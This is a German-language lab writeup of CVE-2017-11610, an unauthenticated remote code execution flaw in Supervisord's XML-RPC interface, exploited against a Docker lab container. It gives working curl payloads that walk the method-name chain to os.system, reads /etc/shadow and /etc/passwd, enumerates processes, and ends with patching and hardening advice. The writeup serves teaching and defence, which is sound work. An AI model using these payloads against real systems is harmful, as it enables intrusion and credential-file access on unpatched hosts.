dungsocool/cve-2017-11610Schritt-für-Schritt-Exploit-Writeup für CVE-2017-11610 (Supervisord XML-RPC RCE) mit Angriffsflächenanalyse, Entdeckung von Namespace-Traversal und Post-Exploitation-Techniken in einer Docker-Lab-Umgebung.
Beginnend mit dem, was in der Umgebung läuft. Ich liste alle aktiven Container auf:``` docker ps-a
**Das Opfer setzt einen einzelnen Port frei: `9001`**.
Port 9001 ist keine Standard-Webanwendung. Ein Blick in die **Port-Datenbank** zeigt, dass dieser Port mit **Supervisord** (laut IANA ETL Service Manager), Tor-Proxy oder einem anderen internen Dienst verbunden sein könnte. Allerdings können wir nicht allein anhand der Portnummer eine Schlussfolgerung ziehen.
⇒ Ich verwende curl direkt, um die Antwort zu lesen, und greife auch auf die Web-GUI zu, um weitere Informationen zu sammeln.```
curl -i http://192.168.3.137:9001/
Analyse der Antwort:
Server: Medusa/1.12 und den Titel Supervisor Status→ Damit ist bestätigt, dass es sich um Supervisord handelt, nicht um Tor oder einen anderen Dienst.
REFRESH, RESTART ALL, STOP ALLSupervisord ist ein Prozessmanager unter Linux. Wenn port 9001 ohne Passwort im Netzwerk exponiert ist, handelt es sich um eine gefährliche Konfiguration. Ein Angreifer könnte Dienste einsehen, Prozesse neu starten/stoppen und unter bestimmten Konfigurationen ausnutzen, um Befehle auszuführen, sofern er Privilegien besitzt, die verwalteten Programme zu ändern oder zu steuern.
Analyseergebnis: Wir können bestätigen, dass das Ziel die Supervisord-Verwaltungsoberfläche auf Port 9001 im Netzwerk exponiert. Dies ist kein Standard-Webdienst, sondern eine Verwaltungsschnittstelle, die dazu dient, Prozesse zu überwachen und zu steuern. Die Möglichkeit, auf diese Schnittstelle zuzugreifen, ohne Authentifizierung stellt ein Risiko dar, dass ein Angreifer den Status der verwalteten Dienste einsehen oder mit ihnen interagieren kann.
Wir müssen jedoch zwischen der sichtbaren Benutzeroberfläche und dem zugrunde liegenden Steuerungsmechanismus unterscheiden. Schaltflächen wie REFRESH, RESTART ALL und STOP ALL verarbeiten Anfragen nicht unabhängig im Frontend; stattdessen müssen sie eine Schnittstelle/ein Backend von Supervisord aufrufen, um Status abzurufen oder Prozesssteuerungsbefehle zu senden. Nachdem die offengelegte Weboberfläche bestätigt wurde, besteht der nächste Analyseschritt daher darin, festzustellen, ob die zugrunde liegende Steuerungsschnittstelle hinter der Weboberfläche existiert und ob sie eine Authentifizierung erfordert.
⇒ Denkweise: Es muss geprüft werden, ob die Steuerungsschnittstelle hinter der Weboberfläche existiert und ob sie eine Authentifizierung erfordert.
Laut Supervisor-Dokumentation ist [inet_http_server] ein HTTP-Server, der auf einem TCP-Socket lauscht. Diese Schnittstelle ist standardmäßig nicht aktiviert, sollte nur in vertrauenswürdigen Umgebungen verwendet werden, unterstützt keine Verschlüsselung und besitzt keine Standard-Authentifizierung, sofern kein username/password konfiguriert ist.
Die Dokumentation weist außerdem darauf hin, dass der Port von [inet_http_server] verwendet wird, um HTTP/XML-RPC-Anfragen zu empfangen; supervisorctl verwendet XML-RPC, um über diesen Port mit supervisord zu kommunizieren. Dies deckt sich mit unserer Beobachtung im Labor: Der Container exponiert 0.0.0.0:9001->9001/tcp, die Weboberfläche ist ohne Authentifizierung erreichbar, und die angezeigte Version ist Supervisor 3.3.2.
Nach der Bestätigung der Weboberfläche auf Port 9001 besteht der nächste Schritt also darin, den XML-RPC-Endpunkt /RPC2 zu untersuchen. Basierend auf dem offiziellen Mechanismus von Supervisord müssen wir folgende Ziele verifizieren:
/RPC2 existiert.supervisor.getState oder system.listMethods aufrufen können.Prüfen, ob der Endpunkt erreichbar ist:```
curl -i -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.getState'
http://192.168.3.137:9001/RPC2
Das Ergebnis liefert `HTTP/1.1 200 OK`, nicht `401 Unauthorized` oder `403 Forbidden`, was zeigt, dass die Anfrage vom Server ohne Anmeldedaten akzeptiert wurde. Die Antwort liegt im XML-RPC-Format `<methodResponse>` vor und enthält `statename=RUNNING` und `statecode=1`, was beweist, dass der `/RPC2`-Endpunkt aktiv ist und die Methode `supervisor.getState` erfolgreich ausgeführt wurde.
**⇒ Denkweise:** Die Angriffsfläche ist nicht mehr auf die Web-UI beschränkt, sondern hat sich auf die XML-RPC-API ausgeweitet, über die Befehle zur Daemon-/Prozesssteuerung abgewickelt werden. Von hier aus ist die nächste Analyse-Richtung, zu **prüfen, wie Supervisor** `methodName` in **XML-RPC** verarbeitet, um festzustellen, ob das aktuelle Ziel **das Verhalten von CVE-2017-11610** aufweist, das im Dispatch-/Lookup-Mechanismus dieser Methode liegt. Wir müssen dies verifizieren, um zu dem Schluss zu kommen, ob es sich um **CVE-2017-11610** handelt.
### **Analyse der Verarbeitung von Methodennamen in XML-RPC**
Im vorherigen Schritt haben wir die Methode `supervisor.getState` erfolgreich über den `/RPC2`-Endpunkt aufgerufen. Dies wirft die nächste Frage auf: Wie bildet Supervisord beim Empfang eines stringbasierten `methodName` diese Zeichenkette auf die interne Python-Funktion ab?
In XML-RPC verwenden Methoden typischerweise Namespaces, zum Beispiel:
- `supervisor.getState`
- `supervisor.stopProcess`
- `supervisor.getAllProcessInfo`
Logischerweise empfängt der Server die `methodName`-Zeichenkette, teilt sie am Punkt `.` auf und sucht das entsprechende Objekt/die entsprechende Funktion innerhalb des registrierten Handlers.
Der Pseudocode kann wie folgt verstanden werden:```python
# Pseudo-code simulating the dispatch method concept in XML-RPC
def dispatch(method_name, params):
parts = method_name.split(".") # ["supervisor", "getState"]
obj = registered_handlers[parts[0]] # get namespace "supervisor"
for attr in parts[1:]:
obj = getattr(obj, attr) # lookup the next attribute
return obj(*params) # call the final function
Für Standardmethoden wie supervisor.getState funktioniert dieser Mechanismus normal: Der Server ruft den supervisor-Handler ab und ruft dann die Funktion getState auf. Das Kernproblem von CVE-2017-11610 ist jedoch, dass dieser Nachschlagemechanismus die Attribute, auf die zugegriffen werden darf, nicht ausreichend einschränkt. Wenn ein Angreifer den methodName kontrolliert, kann er nicht nur öffentliche Methoden wie getState aufrufen, sondern auch tiefer in die internen Objekte/Module eindringen, die vom supervisor-Handler aus erreichbar sind.
Mit anderen Worten: Der Punkt . in methodName wird nicht nur verwendet, um gültige Methoden aufzurufen, sondern kann auch missbraucht werden, um Objektattribute zu durchlaufen.
Dies legt unseren Ausnutzungspfad fest:
supervisor → supervisord → options → warnings → linecache → os → system
Das Konzept besteht darin, vom supervisor-Handler aus zu starten, den Attributen zu den internen Objekten des Daemons zu folgen und dann vorab importierte Python-Module auszunutzen, um os.system zu erreichen. Wenn os.system aufgerufen werden kann, kann der Angreifer Systembefehle mit den Privilegien des supervisord-Prozesses ausführen.
Die Angriffskette folgt also dieser Logik:
/RPC2 akzeptiert nicht authentifizierte Methodenaufrufe → untersuchen, wie XML-RPC methodName weiterleitet → entdecken, dass methodName Objektattribute durchlaufen kann → führt zum Aufruf von os.system.
Zuerst muss ich prüfen, ob der Server tatsächlich das Durchlaufen interner Attribute erlaubt. Ich werde versuchen, einen method name aufzurufen, der länger als üblich ist. Wenn der Server einen Fehler "method not found" zurückgibt, ist ein Filter aktiv; wenn er einen anderen Fehler zurückgibt (oder erfolgreich ist), funktioniert die Traversierung.
Überlegung: Ich weiß bereits, dass supervisor.getState funktioniert. Wenn ich supervisor.supervisord versuche – was eine Ebene tiefer geht – und der Server keinen Fehler unknown method zurückgibt, bedeutet das, dass er tatsächlich rekursives getattr ohne Whitelist verwendet.
Wir wissen, dass XML-RPC ein Remote-Procedure-Call-Protokoll über HTTP ist, bei dem die Daten in XML kodiert sind. Jede Anfrage besteht aus nur 3 festen Komponenten:```
FUNCTION_NAME VALUE ``` Einfache Struktur — ersetze einfach `` und ``. Wenn die Funktion keine Parameter benötigt, lass `` leer. Wenn die Funktion eine Zeichenkette benötigt, umschließe sie mit `...`. Das ist kein Geheimwissen — das wird in der XML-RPC-RFC im Detail beschrieben.⇒ Anwendung: Versuche, eine längere methodName als üblich aufzurufen, um die Namespace-Traversierung zu überprüfen:```
curl -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.supervisord.options'
http://192.168.3.137:9001/RPC2
Das Ergebnis liefert einen `HTTP 500 Internal Server Error` anstelle des üblichen Fehlers `unknown method`. Das deutet darauf hin, dass der Server `methodName` nicht auf einer gültigen Namespace-Ebene blockiert, sondern die Kette `supervisor.supervisord.options` während des Dispatchings weiterverarbeitet. Mit anderen Worten: Die Anfrage dringt tief in den Attributauflösungsmechanismus ein; der Fehler trat erst in einem späteren Schritt auf, als das aufgelöste Objekt nicht als Methode aufrufbar war. Das ist ein klares Zeichen dafür, dass die Namespace-Traversierung über `methodName` aktiv ist.
### **Den Pfad zur Befehlsausführungsfunktion finden**
Die Traversierung funktioniert. Der nächste Schritt ist, **eine Attributkette zu finden, die in einer aufrufbaren Funktion endet, die Systembefehle ausführen kann.** In Python ist das einfachste Ziel zur Überprüfung `os.system()`. Allerdings **haben wir keine Shell auf dem Zielsystem** und **können die Quell-/Laufzeitobjekte im Container nicht direkt lesen.** Daher müssen wir **aus Pythons Importmechanismen ableiten** und **Abhängigkeiten zuerst lokal verifizieren.**
Die zu untersuchende Kette lautet:
`supervisor` → `supervisord` → `options` → `warnings` → `linecache` → `os` → `system`
- Supervisord ist in Python geschrieben, daher sind interne Objekte wie `options` Python-Objekte mit Attributen.
- Wenn ein Modul ein anderes Modul per `import X` importiert, existiert `X` im Namensraum dieses Moduls.
- In der Python-Standardbibliothek importiert das Modul `warnings` `linecache`, um Kontext beim Anzeigen von Warnungen zu erhalten.
- Das Modul `linecache` importiert `os` für Pfad-/Dateioperationen.
- Das Modul `os` stellt die Funktion `system()` bereit, die aufrufbar ist und Shell-Befehle ausführen kann.
Bestätige diese Abhängigkeit zuerst lokal, bevor du es auf dem Zielsystem versuchst:```bash
python3 -c "import warnings; print('linecache' in dir(warnings))"
# True
python3 -c "import linecache; print('os' in dir(linecache))"
# True
python3 -c "import os; print(callable(os.system))"
# True
⇒ Überlegung: Die Abhängigkeitskette warnings → linecache → os ist eine echte Abhängigkeit in der CPython-Standardbibliothek; und system ist in der Tat eine aufrufbare Funktion im Modul os. Kombiniert mit dem Namespace-Traversal-Fehler in XML-RPC können wir, wenn wir vom supervisor-Handler aus supervisord.options.warnings erreichen, weiter zu linecache.os.system traversieren, um Systembefehle auszuführen.
Nachdem wir die Traversal-Kette zu os.system identifiziert haben, besteht der nächste Schritt darin, die XML-RPC-Anfrage zu erstellen, um diese Funktion aufzurufen. In Python nimmt os.system() einen einzelnen String-Parameter entgegen, der den auszuführenden Shell-Befehl darstellt, und gibt den Exit-Code des Befehls zurück. Diese Funktion gibt die Standardausgabe nicht direkt an die XML-RPC-Antwort zurück. Um also zu beweisen, dass der Befehl ausgeführt wurde, müssen wir die Ausgabe in eine Datei umleiten.
⇒ Überlegung: Keine direkte Ausgabe in der Antwort, also schreiben Sie die Ergebnisse nach /tmp. Das Verzeichnis /tmp ist auf Linux normalerweise für alle Benutzer beschreibbar. Ein sicheres Verifikations-Payload ist:
id > /tmp/rce_proof.txt
Unter Anwendung der oben analysierten XML-RPC-Vorlage ersetzen Sie <methodName> durch die Traversal-Kette zu os.system und übergeben Sie den Shell-Befehl innerhalb von <string>:```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemid > /tmp/rce_proof.txt' http://192.168.3.137:9001/RPC2
Der Wert `<int>0</int>` ist der Exit-Code von `os.system()`, nicht die Standardausgabe des Befehls. Ein Exit-Code von `0` zeigt an, dass der Shell-Befehl erfolgreich ausgeführt wurde. Wir überprüfen dies, indem wir die Datei im Container lesen:```
docker exec project1-lab03-1 cat /tmp/rce_proof.txt
⇒ RCE bestätigt. Der Befehl id wurde innerhalb des Containers mit den Rechten des Benutzers nobody (uid=65534) ausgeführt.
Kernpunkt: RCE wird erreicht, aber die Ausführungsrechte hängen von dem Benutzer ab, der den supervisord-Prozess ausführt. In dieser Lab-Umgebung läuft der Befehl unter dem Benutzer nobody, was bedeutet, dass die Auswirkungen stärker eingeschränkt sind, als wenn supervisord als root laufen würde.
Nach der Bestätigung der RCE sehen wir, dass nobody ein Benutzer mit niedrigen Privilegien unter Linux ist. Dies sollten wir jedoch in der Praxis verifizieren und uns nicht nur auf die Ausgabe von id verlassen. Die Verifizierungsmethode besteht darin, zu versuchen, /etc/shadow zu lesen, da diese Datei normalerweise nur für root und die Gruppe shadow lesbar ist. Wenn sie lesbar ist, verfügt der Prozess über hohe Rechte; wenn der Zugriff blockiert wird, sind die Rechte tatsächlich eingeschränkt.
Senden Sie den Payload, um /etc/shadow zu lesen, und leiten Sie sowohl stdout als auch stderr in eine Datei um:```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/shadow > /tmp/shadow_test.txt 2>&1' http://192.168.3.137:9001/RPC2
Die Antwort gibt `<int>256</int>` zurück, was der Rückgabewert von `os.system()` ist. Unter Unix sind Exit-Statuscodes codiert; `256` entspricht dem Shell-Befehls-Exitcode `1`. Dies zeigt an, dass der Befehl ausgeführt wurde, aber fehlgeschlagen ist.
Wir bestätigen die Fehlerursache, indem wir die Ausgabedatei im Container lesen und die Berechtigungen von `/etc/shadow` überprüfen:```
docker exec project1-lab03-1 cat /tmp/shadow_test.txt
docker exec project1-lab03-1 ls -l /etc/shadow
Die Ergebnisse zeigen, dass die Ausgabedatei diesen Fehler aufgezeichnet hat:
cat: /etc/shadow: Permission denied
Die Berechtigungen für /etc/shadow sind:
rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadowDie Datei /etc/shadow gehört root, der Gruppe shadow, und ist nur für den Besitzer/die Gruppe lesbar. Unser früherer RCE hat inzwischen bestätigt, dass der Befehl unter dem Benutzer nobody ausgeführt wird; dieser Benutzer gehört nicht zur Gruppe shadow und kann diese Datei daher nicht lesen.
⇒ Fazit: RCE wurde erreicht, aber die Privilegien sind tatsächlich auf den Benutzer nobody beschränkt. Dies ist ein entscheidender Unterschied zu einem Dienst, der als root läuft: Der Angreifer kann Befehle ausführen, erlangt aber nicht automatisch die vollständige Kontrolle über das System.
Obwohl wir /etc/shadow nicht lesen können, erlaubt uns der RCE weiterhin, Befehle mit den Rechten von nobody auszuführen. Daher können wir weiterhin Informationen sammeln, die dieser Benutzer lesen darf, wie die Liste der laufenden Prozesse und Benutzerinformationen auf dem System.
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemps aux > /tmp/ps_output.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/ps_output.txt
PID 1 im Container läuft unter dem root-Benutzer, aber der Supervisord-Prozess läuft unter dem nobody-Benutzer. Dies erklärt, warum der RCE erfolgreich war, aber nicht die Berechtigung hatte, auf root-beschränkte Dateien zuzugreifen.
Ergebnis: ps aux zeigt, dass PID 1 im Container /bin/bash /usr/local/bin/docker-entrypoint.sh ist, das unter dem Benutzer root läuft, während der supervisord-Prozess unter dem Benutzer nobody läuft.
Dies erklärt, warum der RCE erfolgreich war, aber keine Berechtigung hatte, Root-only-Dateien zu lesen: Der Befehl wird mit den Rechten des supervisord-Prozesses ausgeführt, nicht mit denen von PID 1.
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/passwd > /tmp/passwd_dump.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/passwd_dump.txt
Ergebnis: /etc/passwd zeigt, dass das System hauptsächlich Standardbenutzer wie root, daemon, nobody und _apt enthält; es wurden keine zusätzlichen Dienstbenutzer erkannt. Dies deutet darauf hin, dass die Container-Umgebung minimal ist und es in dieser Phase an anderen Anwendungskonten mangelt, die ausgenutzt oder als Ausgangspunkt für Pivoting genutzt werden könnten.
In diesem Labor konnte keine Reverse Shell hergestellt werden. Wir sollten jedoch nicht einfach daraus schließen, dass ein Docker-Bridge-Netzwerk Reverse Shells immer blockiert, da Docker-Container in der Regel über NAT ausgehende Verbindungen aufrechterhalten. Die Ursache kann in Routing, Firewalls, Listenern, Schnittstellen oder der Netzwerkkonfiguration der Laborumgebung liegen.
Der entscheidende Punkt ist: Die fehlgeschlagene Reverse Shell ändert die Haupterkenntnis nicht. Die RCE wurde mit dem id-Payload, dem Antwort-Exitcode 0 und der Ausgabedatei in /tmp bestätigt. Der Angreifer kann innerhalb des Containers beliebige Befehle mit den Rechten des Benutzers nobody ausführen.
Dringende Priorität
Aktualisieren Sie Supervisord auf die gepatchte Version
Aktualisieren Sie Supervisor auf die Version >= 3.3.3. Die gepatchte Version beseitigt vollständig den rekursiven Namespace-Lookup-Mechanismus in XML-RPC, der die Ursache von CVE-2017-11610 war.
Setzen Sie [inet_http_server] nicht ohne Notwendigkeit dem Netzwerk aus
Wenn die Weboberfläche oder die Fernverwaltung nicht benötigt wird, deaktivieren Sie [inet_http_server] vollständig. Dies ist eine Verwaltungsschnittstelle und sollte nicht im gesamten Netzwerk weiträumig erreichbar sein.
Schränken Sie die Bindungsadresse ein
Wenn Sie die Weboberfläche weiterhin benötigen, binden Sie nur an localhost statt an 0.0.0.0:
[inet_http_server]
port=127.0.0.1:9001
Hohe Priorität
Aktivieren Sie die Authentifizierung für [inet_http_server]
Wenn Sie diese Schnittstelle für die Fernverwaltung freigeben müssen, konfigurieren Sie einen starken Benutzernamen/ein starkes Passwort:
[inet_http_server] port=127.0.0.1:9001 username=admin password=<strong_password>
Falls es an das Netzwerk gebunden werden muss, verlassen Sie sich nicht ausschließlich auf ein Passwort; platzieren Sie es hinter einem VPN/Reverse-Proxy oder schränken Sie den Zugriff per IP ein.
Schränken Sie den Zugriff über eine Firewall ein
Erlauben Sie nur administrativen IPs den Zugriff auf Port 9001, beispielsweise über eine Firewall/Sicherheitsgruppe. Setzen Sie diesen Port nicht dem öffentlichen Internet oder dem gesamten internen Netzwerk aus.
Führen Sie supervisord mit einem Benutzer mit niedrigen Rechten aus
Dieses Labor läuft unter dem Benutzer nobody, wodurch die Auswirkungen begrenzt bleiben. In realen Umgebungen sollten Sie es vermeiden, supervisord als root auszuführen, es sei denn, es ist unbedingt erforderlich.
| Kriterium | Bewertung | Details |
|---|
| CVSS-Score | 9.8 (Kritisch) | Laut CVE/NVD handelt es sich bei der Schwachstelle um eine nicht authentifizierte RCE auf Supervisor <= 3.3.2 |
| Authentifizierung | Nicht erforderlich | Der Endpunkt /RPC2 verarbeitet XML-RPC-Anfragen, ohne einen Benutzernamen/ein Passwort zu verlangen |
| Komplexität | Niedrig | Über manuelle XML-RPC-Anfragen ausnutzbar, ohne Metasploit zu benötigen |
| Erlangte Privilegien | nobody | Die RCE läuft mit den Rechten des supervisord-Prozesses; in diesem Labor beschränkt auf den Benutzer nobody |
| Auswirkung | Hoch | Kann Befehle ausführen, Dateien in beschreibbaren Verzeichnissen wie /tmp schreiben und Systeminformationen sammeln |
| Einschränkungen | Kann keine root-only-Dateien lesen | /etc/shadow gab Permission Denied zurück, was beweist, dass die Rechte nicht root sind |
| Pivoting im internen Netzwerk | Machbar | Der Benutzer nobody kann weiterhin versuchen, sich mit anderen Diensten/Containern zu verbinden, sofern die Netzwerkrichtlinien dies erlauben |